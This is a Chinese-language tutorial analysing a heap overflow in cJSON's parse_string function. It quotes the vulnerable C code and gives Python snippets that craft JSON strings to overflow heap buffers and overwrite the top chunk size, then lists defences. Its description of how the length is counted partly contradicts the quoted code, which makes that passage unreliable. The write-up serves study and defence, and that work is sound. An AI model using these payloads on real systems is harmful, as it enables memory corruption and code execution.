cJSON库函数存在的堆溢出漏洞分析
字数 813 2025-08-22 12:23:06

cJSON库堆溢出漏洞分析与利用教学

1. 漏洞概述

cJSON是一个轻量级的C语言JSON解析库,用于解析和生成JSON数据。在解析字符串时,parse_string函数存在堆溢出漏洞,攻击者可以通过精心构造的JSON数据触发该漏洞,实现内存破坏。

2. 漏洞原理分析

2.1 cJSON_Parse函数流程

cJSON * cJSON_Parse(const char *value) {
    return cJSON_ParseWithOpts(value, 0, 0);
}

cJSON * cJSON_ParseWithOpts(const char *value, const char **return_parse_end, int require_null_terminated) {
    const char *end = 0;
    cJSON *c = cJSON_New_Item(); // 分配cJSON结构体
    ep = 0;
    if (!c) return 0;
    end = parse_value(c, skip(value)); // 解析JSON值
    if (!end) {
        cJSON_Delete(c);
        return 0;
    }
    if (require_null_terminated) {
        end = skip(end);
        if (*end) {
            cJSON_Delete(c);
            ep = end;
            return 0;
        }
    }
    if (return_parse_end) *return_parse_end = end;
    return c;
}

2.2 cJSON结构体

typedef struct cJSON {
    struct cJSON *next, *prev;  // 链表指针
    struct cJSON *child;        // 子节点指针
    int type;                   // 数据类型
    char *valuestring;         // 字符串值
    int valueint;               // 整数值
    double valuedouble;         // 浮点数值
    char *string;              // 键名
} cJSON;

2.3 parse_string函数漏洞点

static const char *parse_string(cJSON *item, const char *str) {
    const char *ptr = str + 1;
    char *ptr2;
    char *out;
    int len = 0;
    unsigned uc, uc2;
    
    if (*str != '\"') {
        ep = str;
        return 0;
    }
    
    // 计算字符串长度
    while (*ptr != '\"' && *ptr && ++len)
        if (*ptr++ == '\\') ptr++; // 跳过转义字符
    
    out = (char *)cJSON_malloc(len + 1); // 分配内存
    if (!out) return 0;
    
    ptr = str + 1;
    ptr2 = out;
    
    while (*ptr != '\"' && *ptr) {
        if (*ptr != '\\') {
            *ptr2++ = *ptr++; // 普通字符直接复制
        } else { // 处理转义字符
            ptr++;
            switch (*ptr) {
                case 'b': *ptr2++ = '\b'; break;
                case 'f': *ptr2++ = '\f'; break;
                case 'n': *ptr2++ = '\n'; break;
                case 'r': *ptr2++ = '\r'; break;
                case 't': *ptr2++ = '\t'; break;
                case 'u': // Unicode转义处理
                    uc = parse_hex4(ptr + 1);
                    ptr += 4;
                    // 漏洞点:处理Unicode转义时可能跳过字符串结束符"
                    // 导致后续写入超出分配的内存
                    [...]
                default: *ptr2++ = *ptr; break;
            }
            ptr++;
        }
    }
    *ptr2 = 0;
    if (*ptr == '\"') ptr++;
    item->valuestring = out;
    item->type = cJSON_String;
    return ptr;
}

漏洞关键点

  1. 在计算字符串长度时,遇到\u转义会跳过4个字符
  2. 如果这4个字符中包含字符串结束符",计算长度时会忽略它
  3. 但在实际写入时,会继续写入直到遇到"\0
  4. 导致写入数据可能超过分配的内存大小

3. 漏洞利用方法

3.1 基本利用原理

构造一个包含\u转义的字符串,在转义序列中包含"字符:

"\u0022"  // 这是合法的Unicode转义,表示双引号

精心构造的payload可以让解析器:

  1. 在计算长度时忽略"字符
  2. 但在实际写入时继续写入后续数据
  3. 导致堆溢出

3.2 利用代码示例

def fake_string(chunk_size, payload, overflow_data):
    string = b'"' + payload.ljust(chunk_size - 2, b'\x01') + b"\u"
    string += b'"' + b'-' * 5  # 包含"字符的Unicode转义
    string += overflow_data + b'"'
    return string

# 构造恶意JSON数据
data_overflow = b'\xff\xff\xff\xff\xff\xff\xff\xff'  # 覆盖size字段
data_overflow += b'This_is_fake_data_to_chunk!!!!!'
fake_data = fake_string(0x18, b'a', data_overflow)

3.3 利用场景

  1. 无限堆溢出:通过构造特定数据,可以持续写入直到遇到\0"
  2. 修改top chunk大小:可以覆盖堆管理器的top chunk大小
  3. 触发free:通过构造错误的JSON数据,可以触发cJSON释放已分配的内存

3.4 实际利用示例

# 修改top chunk的size
top_chunk_size = b'\xf1\x08'
fake_data_1 = b'"' + b'a' * 0x16 + b"\u" + b'"' + b'-' * 5
fake_data_1 += top_chunk_size + b'"'

4. 漏洞影响

  1. 可以导致堆内存破坏
  2. 可能实现任意代码执行
  3. 影响所有使用cJSON库解析不可信输入的应用程序

5. 防御措施

  1. 更新到最新版本的cJSON库
  2. 对输入JSON数据进行严格验证
  3. 使用沙箱环境运行JSON解析代码
  4. 实现输入长度限制

6. 相关资源

  1. cJSON GitHub仓库
  2. 测试代码下载

7. 总结

cJSON库的parse_string函数在处理Unicode转义字符时存在堆溢出漏洞,攻击者可以通过精心构造的JSON数据利用该漏洞。开发者应及时更新库版本,并对输入数据进行严格验证以防止此类漏洞被利用。

cJSON库堆溢出漏洞分析与利用教学 1. 漏洞概述 cJSON是一个轻量级的C语言JSON解析库,用于解析和生成JSON数据。在解析字符串时, parse_string 函数存在堆溢出漏洞,攻击者可以通过精心构造的JSON数据触发该漏洞,实现内存破坏。 2. 漏洞原理分析 2.1 cJSON_ Parse函数流程 2.2 cJSON结构体 2.3 parse_ string函数漏洞点 漏洞关键点 : 在计算字符串长度时,遇到 \u 转义会跳过4个字符 如果这4个字符中包含字符串结束符 " ,计算长度时会忽略它 但在实际写入时,会继续写入直到遇到 " 或 \0 导致写入数据可能超过分配的内存大小 3. 漏洞利用方法 3.1 基本利用原理 构造一个包含 \u 转义的字符串,在转义序列中包含 " 字符: 精心构造的payload可以让解析器: 在计算长度时忽略 " 字符 但在实际写入时继续写入后续数据 导致堆溢出 3.2 利用代码示例 3.3 利用场景 无限堆溢出 :通过构造特定数据,可以持续写入直到遇到 \0 或 " 修改top chunk大小 :可以覆盖堆管理器的top chunk大小 触发free :通过构造错误的JSON数据,可以触发cJSON释放已分配的内存 3.4 实际利用示例 4. 漏洞影响 可以导致堆内存破坏 可能实现任意代码执行 影响所有使用cJSON库解析不可信输入的应用程序 5. 防御措施 更新到最新版本的cJSON库 对输入JSON数据进行严格验证 使用沙箱环境运行JSON解析代码 实现输入长度限制 6. 相关资源 cJSON GitHub仓库 测试代码下载 7. 总结 cJSON库的 parse_string 函数在处理Unicode转义字符时存在堆溢出漏洞,攻击者可以通过精心构造的JSON数据利用该漏洞。开发者应及时更新库版本,并对输入数据进行严格验证以防止此类漏洞被利用。